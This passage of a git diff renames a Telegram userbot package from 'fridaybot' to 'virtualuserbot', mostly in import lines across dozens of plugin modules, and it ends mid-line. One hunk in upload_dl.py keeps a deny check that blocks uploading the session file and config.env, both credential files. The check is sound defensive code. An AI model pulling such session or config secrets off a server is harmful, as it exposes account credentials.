46b470d9..8d3894b7 100644 --- a/virtualuserbot/modules/stickcreater.py +++ b/virtualuserbot/modules/stickcreater.py @@ -8,8 +8,8 @@ import random import textwrap -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import InputMessagesFilterDocument @@ -36,7 +36,7 @@ async def sticklet(event): return if event.reply_to_msg_id: reply_message = await event.get_reply_message() - # delete the fridaybot command, + # delete the virtualuserbot command, # i don't know why this is required await event.delete() # https://docs.python.org/3/library/textwrap.html#textwrap.wrap @@ -93,7 +93,7 @@ async def sticklet(event): return if event.reply_to_msg_id: reply_message = await event.get_reply_message() - # delete the fridaybot command, + # delete the virtualuserbot command, # i don't know why this is required await event.delete() # https://docs.python.org/3/library/textwrap.html#textwrap.wrap diff --git a/virtualuserbot/modules/sticker_2.py b/virtualuserbot/modules/sticker_2.py index 3b70bd19..9a4489e2 100644 --- a/virtualuserbot/modules/sticker_2.py +++ b/virtualuserbot/modules/sticker_2.py @@ -21,7 +21,7 @@ import emoji from fontTools.ttLib import TTFont -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon.tl import functions, types diff --git a/virtualuserbot/modules/stickerchat.py b/virtualuserbot/modules/stickerchat.py index 9bf72f96..9b335991 100644 --- a/virtualuserbot/modules/stickerchat.py +++ b/virtualuserbot/modules/stickerchat.py @@ -1,4 +1,4 @@ -# Friendly Telegram (telegram fridaybot) +# Friendly Telegram (telegram virtualuserbot) # Copyright (C) 2018-2019 The Authors # This program is free software: you can redistribute it and/or modify diff --git a/virtualuserbot/modules/stickers.py b/virtualuserbot/modules/stickers.py index 02058b8a..dc732bf4 100644 --- a/virtualuserbot/modules/stickers.py +++ b/virtualuserbot/modules/stickers.py @@ -10,9 +10,9 @@ import zipfile from collections import defaultdict -from fridaybot import ALIVE_NAME, CMD_HELP -from fridaybot.function import convert_to_image -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import ALIVE_NAME, CMD_HELP +from virtualuserbot.function import convert_to_image +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError diff --git a/virtualuserbot/modules/stock_price.py b/virtualuserbot/modules/stock_price.py index 33ab6549..76d5fcec 100644 --- a/virtualuserbot/modules/stock_price.py +++ b/virtualuserbot/modules/stock_price.py @@ -1,6 +1,6 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd from yahoo_fin import stock_info as si diff --git a/virtualuserbot/modules/stt.py b/virtualuserbot/modules/stt.py index 7714805d..7bcc0c1b 100644 --- a/virtualuserbot/modules/stt.py +++ b/virtualuserbot/modules/stt.py @@ -4,8 +4,8 @@ from datetime import datetime import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="stt (.*)")) diff --git a/virtualuserbot/modules/study.py b/virtualuserbot/modules/study.py index b95daa9b..1dbc973e 100644 --- a/virtualuserbot/modules/study.py +++ b/virtualuserbot/modules/study.py @@ -1,7 +1,7 @@ import asyncio import datetime -from fridaybot import ALIVE_NAME +from virtualuserbot import ALIVE_NAME from telethon import events from telethon.tl import functions, types diff --git a/virtualuserbot/modules/superheroes.py b/virtualuserbot/modules/superheroes.py index 382b13ba..6c5d1e92 100644 --- a/virtualuserbot/modules/superheroes.py +++ b/virtualuserbot/modules/superheroes.py @@ -12,8 +12,8 @@ # along with this program. If not, see . import requests -from fridaybot.Configs import Config -from fridaybot.utils import admin_cmd +from virtualuserbot.Configs import Config +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="hero (.*)")) diff --git a/virtualuserbot/modules/supportgroup.py b/virtualuserbot/modules/supportgroup.py index 0352ff39..51f9b5cb 100644 --- a/virtualuserbot/modules/supportgroup.py +++ b/virtualuserbot/modules/supportgroup.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("infinityje")) diff --git a/virtualuserbot/modules/tagall.py b/virtualuserbot/modules/tagall.py index a5cab9ec..b82cd8d7 100644 --- a/virtualuserbot/modules/tagall.py +++ b/virtualuserbot/modules/tagall.py @@ -1,7 +1,7 @@ # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/tb_button.py b/virtualuserbot/modules/tb_button.py index e8191b4f..daee05fa 100644 --- a/virtualuserbot/modules/tb_button.py +++ b/virtualuserbot/modules/tb_button.py @@ -2,7 +2,7 @@ """ import re -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from telethon import custom # regex obtained from: https://github.com/PaulSonOfLars/tgbot/blob/master/tg_bot/modules/helper_funcs/string_handling.py#L23 diff --git a/virtualuserbot/modules/telegraph.py b/virtualuserbot/modules/telegraph.py index a7f603aa..4388222f 100644 --- a/virtualuserbot/modules/telegraph.py +++ b/virtualuserbot/modules/telegraph.py @@ -5,8 +5,8 @@ import os from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from PIL import Image from telegraph import Telegraph, exceptions, upload_file diff --git a/virtualuserbot/modules/terminal.py b/virtualuserbot/modules/terminal.py index ccdecfec..369e18c2 100644 --- a/virtualuserbot/modules/terminal.py +++ b/virtualuserbot/modules/terminal.py @@ -1,7 +1,7 @@ import asyncio import os -from fridaybot import ALIVE_NAME, bot +from virtualuserbot import ALIVE_NAME, bot from ..utils import admin_cmd diff --git a/virtualuserbot/modules/test.py b/virtualuserbot/modules/test.py index ebdbed23..7138390a 100644 --- a/virtualuserbot/modules/test.py +++ b/virtualuserbot/modules/test.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/think.py b/virtualuserbot/modules/think.py index 3f2dbf5a..8188bf45 100644 --- a/virtualuserbot/modules/think.py +++ b/virtualuserbot/modules/think.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("think")) diff --git a/virtualuserbot/modules/thumbnail.py b/virtualuserbot/modules/thumbnail.py index fb15c384..746252a4 100644 --- a/virtualuserbot/modules/thumbnail.py +++ b/virtualuserbot/modules/thumbnail.py @@ -7,7 +7,7 @@ import os import subprocess -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from hachoir.metadata import extractMetadata from hachoir.parser import createParser from PIL import Image diff --git a/virtualuserbot/modules/tiktok.py b/virtualuserbot/modules/tiktok.py index fac87c33..8e184991 100644 --- a/virtualuserbot/modules/tiktok.py +++ b/virtualuserbot/modules/tiktok.py @@ -2,7 +2,7 @@ Dont edit credits """ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.errors.rpcerrorlist import YouBlockedUserError from ..utils import admin_cmd diff --git a/virtualuserbot/modules/time.py b/virtualuserbot/modules/time.py index d26e0519..b8c129ec 100644 --- a/virtualuserbot/modules/time.py +++ b/virtualuserbot/modules/time.py @@ -5,8 +5,8 @@ import os from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont FONT_FILE_TO_USE = "Fonts/digital.ttf" diff --git a/virtualuserbot/modules/toonify.py b/virtualuserbot/modules/toonify.py index 6264b174..bd0b7c53 100644 --- a/virtualuserbot/modules/toonify.py +++ b/virtualuserbot/modules/toonify.py @@ -6,7 +6,7 @@ import os import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd diff --git a/virtualuserbot/modules/torrentsearch.py b/virtualuserbot/modules/torrentsearch.py index e6283d03..4e03d4ad 100644 --- a/virtualuserbot/modules/torrentsearch.py +++ b/virtualuserbot/modules/torrentsearch.py @@ -9,7 +9,7 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup as bs -from fridaybot import CMD_HELP, pro +from virtualuserbot import CMD_HELP, pro from ..utils import admin_cmd, humanbytes diff --git a/virtualuserbot/modules/torrentz.py b/virtualuserbot/modules/torrentz.py index b73b6359..975671dd 100644 --- a/virtualuserbot/modules/torrentz.py +++ b/virtualuserbot/modules/torrentz.py @@ -5,7 +5,7 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup -from fridaybot import pro +from virtualuserbot import pro from ..utils import admin_cmd, humanbytes diff --git a/virtualuserbot/modules/translate.py b/virtualuserbot/modules/translate.py index 5c53b2e1..5643ea3b 100644 --- a/virtualuserbot/modules/translate.py +++ b/virtualuserbot/modules/translate.py @@ -4,8 +4,8 @@ .tr LangaugeCode | text to translate""" import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from google_trans_new import google_translator from googletrans import LANGUAGES from langdetect import detect diff --git a/virtualuserbot/modules/trolls.py b/virtualuserbot/modules/trolls.py index 2663450e..282b8864 100644 --- a/virtualuserbot/modules/trolls.py +++ b/virtualuserbot/modules/trolls.py @@ -17,8 +17,8 @@ import os import requests -from fridaybot import * -from fridaybot import CMD_HELP +from virtualuserbot import * +from virtualuserbot import CMD_HELP from PIL import Image from telegraph import exceptions, upload_file from telethon.tl.functions.messages import ImportChatInviteRequest as Get diff --git a/virtualuserbot/modules/tweet.py b/virtualuserbot/modules/tweet.py index b3b08d82..54d6f57b 100644 --- a/virtualuserbot/modules/tweet.py +++ b/virtualuserbot/modules/tweet.py @@ -3,8 +3,8 @@ import re import requests -from fridaybot import CMD_HELP, bot -from fridaybot.tweet import ( +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.tweet import ( bhautweet, johnnytweet, jtweet, @@ -12,7 +12,7 @@ moditweet, sunnytweet, ) -from fridaybot.utils import admin_cmd +from virtualuserbot.utils import admin_cmd from PIL import Image from validators.url import url diff --git a/virtualuserbot/modules/typing.py b/virtualuserbot/modules/typing.py index c230faba..66c146a8 100644 --- a/virtualuserbot/modules/typing.py +++ b/virtualuserbot/modules/typing.py @@ -3,7 +3,7 @@ # (c) Shrimadhav U K import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/ukinti.py b/virtualuserbot/modules/ukinti.py index e8957fae..41756a72 100644 --- a/virtualuserbot/modules/ukinti.py +++ b/virtualuserbot/modules/ukinti.py @@ -6,7 +6,7 @@ import asyncio from time import sleep -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl import functions from telethon.tl.types import ( ChannelParticipantsKicked, diff --git a/virtualuserbot/modules/ultragoogle.py b/virtualuserbot/modules/ultragoogle.py index 769b65be..899a7b06 100644 --- a/virtualuserbot/modules/ultragoogle.py +++ b/virtualuserbot/modules/ultragoogle.py @@ -10,8 +10,8 @@ import requests from bs4 import BeautifulSoup -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from google_images_download import google_images_download diff --git a/virtualuserbot/modules/undlt.py b/virtualuserbot/modules/undlt.py index be64c4ba..dcd99011 100644 --- a/virtualuserbot/modules/undlt.py +++ b/virtualuserbot/modules/undlt.py @@ -1,6 +1,6 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/unzipfile.py b/virtualuserbot/modules/unzipfile.py index 8ae35c53..546a7d00 100644 --- a/virtualuserbot/modules/unzipfile.py +++ b/virtualuserbot/modules/unzipfile.py @@ -9,8 +9,8 @@ import zipfile from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd extracted = Config.TMP_DOWNLOAD_DIRECTORY + "extracted/" thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index 2dffbe89..0436d3f7 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -12,8 +12,8 @@ import sys from os import environ, execle, path, remove -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from git import Repo from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError @@ -127,7 +127,7 @@ async def update(event, repo, ups_rem, ac_br): "**Soft Update Sucessfull, Please Wait For Some Time To Get This Process Completed.**" ) # Spin a new instance of bot - args = [sys.executable, "-m", "fridaybot"] + args = [sys.executable, "-m", "virtualuserbot"] execle(sys.executable, *args, environ) return diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index 2bec4b56..fe5cec64 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -8,9 +8,9 @@ from datetime import datetime from urllib.parse import urlparse -from fridaybot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from fridaybot.events import register -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from virtualuserbot.events import register +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL @@ -194,7 +194,7 @@ async def upload(u_event): """ For .upload command, allows you to upload a file from the VirtualUserbot's server """ await u_event.edit("Processing ...") input_str = u_event.pattern_match.group(1) - if input_str in ("fridaybot.session", "config.env"): + if input_str in ("virtualuserbot.session", "config.env"): await u_event.edit("`That's a dangerous operation! Not Permitted!`") return if os.path.exists(input_str): diff --git a/virtualuserbot/modules/uploadtoverysteam.py b/virtualuserbot/modules/uploadtoverysteam.py index 9ffbfde2..873ef96d 100644 --- a/virtualuserbot/modules/uploadtoverysteam.py +++ b/virtualuserbot/modules/uploadtoverysteam.py @@ -12,7 +12,7 @@ import aiohttp import magic import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd, progress diff --git a/virtualuserbot/modules/urbandictionary.py b/virtualuserbot/modules/urbandictionary.py index 1e3a36b8..c1b2959a 100644 --- a/virtualuserbot/modules/urbandictionary.py +++ b/virtualuserbot/modules/urbandictionary.py @@ -4,8 +4,8 @@ """Urban Dictionary Syntax: .ud Query""" import urbandict -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("ud (.*)")) diff --git a/virtualuserbot/modules/urlshortner.py b/virtualuserbot/modules/urlshortner.py index 44e4cd0f..1ba26487 100644 --- a/virtualuserbot/modules/urlshortner.py +++ b/virtualuserbot/modules/urlshortner.py @@ -1,6 +1,6 @@ import pyshorteners -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="urlshort (.*)")) diff --git a/virtualuserbot/modules/userinfo.py b/virtualuserbot/modules/userinfo.py index abc47323..9ffd6352 100644 --- a/virtualuserbot/modules/userinfo.py +++ b/virtualuserbot/modules/userinfo.py @@ -9,8 +9,8 @@ from re import findall, match from typing import List, Union -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register from telethon.events import NewMessage from telethon.tl.custom import Message from telethon.tl.functions.channels import GetFullChannelRequest diff --git a/virtualuserbot/modules/utube.py b/virtualuserbot/modules/utube.py index 19d24d10..fd4af1a1 100644 --- a/virtualuserbot/modules/utube.py +++ b/virtualuserbot/modules/utube.py @@ -8,7 +8,7 @@ import asyncio import re -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot from telethon.errors.rpcerrorlist import YouBlockedUserError from ..utils import admin_cmd, edit_or_reply diff --git a/virtualuserbot/modules/verysteam.py b/virtualuserbot/modules/verysteam.py index 7ebe00d7..9aea37bc 100644 --- a/virtualuserbot/modules/verysteam.py +++ b/virtualuserbot/modules/verysteam.py @@ -12,7 +12,7 @@ import aiohttp import magic import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd, progress diff --git a/virtualuserbot/modules/virustotal.py b/virtualuserbot/modules/virustotal.py index 6d92beb0..0757ca47 100644 --- a/virtualuserbot/modules/virustotal.py +++ b/virtualuserbot/modules/virustotal.py @@ -4,9 +4,9 @@ import time import requests -from fridaybot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY -from fridaybot.Configs import Config -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY +from virtualuserbot.Configs import Config +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from uniborg.util import friday_on_cmd # from var import var diff --git a/virtualuserbot/modules/voice.py b/virtualuserbot/modules/voice.py index 998d6f96..f9b22c8c 100644 --- a/virtualuserbot/modules/voice.py +++ b/virtualuserbot/modules/voice.py @@ -7,8 +7,8 @@ import subprocess from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from gtts import gTTS diff --git a/virtualuserbot/modules/vsong.py b/virtualuserbot/modules/vsong.py index 13b9a027..11f17683 100644 --- a/virtualuserbot/modules/vsong.py +++ b/virtualuserbot/modules/vsong.py @@ -10,7 +10,7 @@ import os import time -from fridaybot.utils import progress +from virtualuserbot.utils import progress from telethon.tl.types import DocumentAttributeAudio from uniborg.util import admin_cmd from youtube_dl import YoutubeDL diff --git a/virtualuserbot/modules/waifu.py b/virtualuserbot/modules/waifu.py index 0b1f7161..f4e2be7e 100644 --- a/virtualuserbot/modules/waifu.py +++ b/virtualuserbot/modules/waifu.py @@ -3,8 +3,8 @@ import random import re -from fridaybot import CMD_HELP, bot -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd EMOJI_PATTERN = re.compile( "[" diff --git a/virtualuserbot/modules/wallpapers.py b/virtualuserbot/modules/wallpapers.py index d6cd3f52..5f5ff200 100644 --- a/virtualuserbot/modules/wallpapers.py +++ b/virtualuserbot/modules/wallpapers.py @@ -2,9 +2,9 @@ import shutil from re import findall -from fridaybot import CMD_HELP -from fridaybot.googol_images import googleimagesdownload -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.googol_images import googleimagesdownload +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="wpaper ?(.*)")) diff --git a/virtualuserbot/modules/warnbun.py b/virtualuserbot/modules/warnbun.py index 3044533a..b8c0ec43 100644 --- a/virtualuserbot/modules/warnbun.py +++ b/virtualuserbot/modules/warnbun.py @@ -1,5 +1,5 @@ """.admin Plugin for @UniBorg""" -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import ChannelParticipantsAdmins diff --git a/virtualuserbot/modules/warns.py b/virtualuserbot/modules/warns.py index ca1e7ebc..9a55aa83 100644 --- a/virtualuserbot/modules/warns.py +++ b/virtualuserbot/modules/warns.py @@ -1,6 +1,6 @@ -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper import warns_sql as sql -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper import warns_sql as sql +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="warn(?: |$)(.*)")) diff --git a/virtualuserbot/modules/weather.py b/virtualuserbot/modules/weather.py index f0823240..3be3bebc 100644 --- a/virtualuserbot/modules/weather.py +++ b/virtualuserbot/modules/weather.py @@ -6,8 +6,8 @@ import time import aiohttp -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="weathers (.*)")) diff --git a/virtualuserbot/modules/webshot.py b/virtualuserbot/modules/webshot.py index 5f4bfc12..cf49c875 100644 --- a/virtualuserbot/modules/webshot.py +++ b/virtualuserbot/modules/webshot.py @@ -5,8 +5,8 @@ import io import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("screencapture (.*)")) diff --git a/virtualuserbot/modules/webtools.py b/virtualuserbot/modules/webtools.py index 078c2305..3eca217a 100644 --- a/virtualuserbot/modules/webtools.py +++ b/virtualuserbot/modules/webtools.py @@ -1,9 +1,9 @@ # @FridayoT import requests -from fridaybot import CMD_HELP -from fridaybot.function import apk_dl -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.function import apk_dl +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from iplookup import iplookup from selenium import webdriver from youtube_search import YoutubeSearch diff --git a/virtualuserbot/modules/webupload.py b/virtualuserbot/modules/webupload.py index e569fee4..486a77aa 100644 --- a/virtualuserbot/modules/webupload.py +++ b/virtualuserbot/modules/webupload.py @@ -2,8 +2,8 @@ import asyncio import time -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @borg.on( diff --git a/virtualuserbot/modules/weebify.py b/virtualuserbot/modules/weebify.py index 83250ead..2b20892a 100644 --- a/virtualuserbot/modules/weebify.py +++ b/virtualuserbot/modules/weebify.py @@ -4,7 +4,7 @@ Modified by :- @kirito6969 .weeb """ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd normiefont = [ diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 548a6968..8f73b74c 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.welcome_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.welcome_sql import ( add_welcome_setting, get_current_welcome_settings, rm_welcome_setting, diff --git a/virtualuserbot/modules/wikimedia.py b/virtualuserbot/modules/wikimedia.py index ba2a67af..4f81fa68 100644 --- a/virtualuserbot/modules/wikimedia.py +++ b/virtualuserbot/modules/wikimedia.py @@ -1,7 +1,7 @@ """WikiMedia.ORG Syntax: .wikimedia Query""" import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/wikipedia.py b/virtualuserbot/modules/wikipedia.py index 1cf18a3e..9335444f 100644 --- a/virtualuserbot/modules/wikipedia.py +++ b/virtualuserbot/modules/wikipedia.py @@ -4,7 +4,7 @@ """WikiPedia.ORG Syntax: .wikipedia Query""" import wikipedia -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/wtf.py b/virtualuserbot/modules/wtf.py index 94ad084f..87e0725a 100644 --- a/virtualuserbot/modules/wtf.py +++ b/virtualuserbot/modules/wtf.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("wtf")) diff --git a/virtualuserbot/modules/xkcd.py b/virtualuserbot/modules/xkcd.py index e7a67cbf..43db71e8 100644 --- a/virtualuserbot/modules/xkcd.py +++ b/virtualuserbot/modules/xkcd.py @@ -3,7 +3,7 @@ from urllib.parse import quote import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/xnxx.py b/virtualuserbot/modules/xnxx.py index fde892ad..185f8e3f 100644 --- a/virtualuserbot/modules/xnxx.py +++ b/virtualuserbot/modules/xnxx.py @@ -3,7 +3,7 @@ """ -from fridaybot import pro +from virtualuserbot import pro from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/ytdl.py b/virtualuserbot/modules/ytdl.py index 26a5adb2..c9c7f53f 100644 --- a/virtualuserbot/modules/ytdl.py +++ b/virtualuserbot/modules/ytdl.py @@ -11,7 +11,7 @@ import os import time -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl.types import DocumentAttributeAudio from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd from youtube_dl import YoutubeDL diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py index 08255e7f..27c85c29 100644 --- a/virtualuserbot/modules/ytmusic.py +++ b/virtualuserbot/modules/ytmusic.py @@ -2,9 +2,9 @@ import os import wget -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from youtubesearchpython import SearchVideos diff --git a/virtualuserbot/utils.py b/virtualuserbot/utils.py index a3cd59b1..721aa980 100644 --- a/virtualuserbot/utils.py +++ b/virtualuserbot/utils.py @@ -4,9 +4,9 @@ import re from pathlib import Path -from fridaybot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot -from fridaybot.Configs import Config -from fridaybot.wraptools import ( +from virtualuserbot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot +from virtualuserbot.Configs import Config +from virtualuserbot.wraptools import ( am_i_admin, ignore_bot, ignore_fwd, @@ -98,11 +98,11 @@ def load_module(shortname): import sys from pathlib import Path - import fridaybot.modules - import fridaybot.utils + import virtualuserbot.modules + import virtualuserbot.utils - path = Path(f"fridaybot/modules/{shortname}.py") - name = "fridaybot.modules.{}".format(shortname) + path = Path(f"virtualuserbot/modules/{shortname}.py") + name = "virtualuserbot.modules.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) @@ -112,11 +112,11 @@ def load_module(shortname): import sys from pathlib import Path - import fridaybot.modules - import fridaybot.utils + import virtualuserbot.modules + import virtualuserbot.utils - path = Path(f"fridaybot/modules/{shortname}.py") - name = "fridaybot.modules.{}".format(shortname) + path = Path(f"virtualuserbot/modules/{shortname}.py") + name = "virtualuserbot.modules.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) mod.bot = bot @@ -125,12 +125,12 @@ def load_module(shortname): mod.command = command mod.logger = logging.getLogger(shortname) # support for uniborg - sys.modules["uniborg.util"] = fridaybot.utils - sys.modules["friday.util"] = fridaybot.utils - sys.modules["userbot.utils"] = fridaybot.utils - sys.modules["userbot.plugins"] = fridaybot.modules - sys.modules["plugins"] = fridaybot.modules - sys.modules["userbot"] = fridaybot + sys.modules["uniborg.util"] = virtualuserbot.utils + sys.modules["friday.util"] = virtualuserbot.utils + sys.modules["userbot.utils"] = virtualuserbot.utils + sys.modules["userbot.plugins"] = virtualuserbot.modules + sys.modules["plugins"] = virtualuserbot.modules + sys.modules["userbot"] = virtualuserbot mod.Config = Config mod.ignore_grp = ignore_grp() mod.ignore_pm = ignore_pm() @@ -140,10 +140,10 @@ def load_module(shortname): mod.borg = bot mod.friday = bot # support for paperplaneextended - sys.modules["fridaybot.events"] = fridaybot.utils + sys.modules["virtualuserbot.events"] = virtualuserbot.utils spec.loader.exec_module(mod) # for imports - sys.modules["fridaybot.modules." + shortname] = mod + sys.modules["virtualuserbot.modules." + shortname] = mod sedprint.info("Successfully imported " + shortname) @@ -155,7 +155,7 @@ def remove_plugin(shortname): del LOAD_PLUG[shortname] except: - name = f"fridaybot.modules.{shortname}" + name = f"virtualuserbot.modules.{shortname}" for i in reversed(range(len(bot._event_builders))): ev, cb = bot._event_builders[i] @@ -254,7 +254,7 @@ def friday_on_cmd(pattern=None, **args): """ Userbot module for managing events. - One of the main components of the fridaybot. """ + One of the main components of the virtualuserbot. """ import asyncio import datetime @@ -263,7 +263,7 @@ def friday_on_cmd(pattern=None, **args): import traceback from time import gmtime, strftime -from fridaybot import bot +from 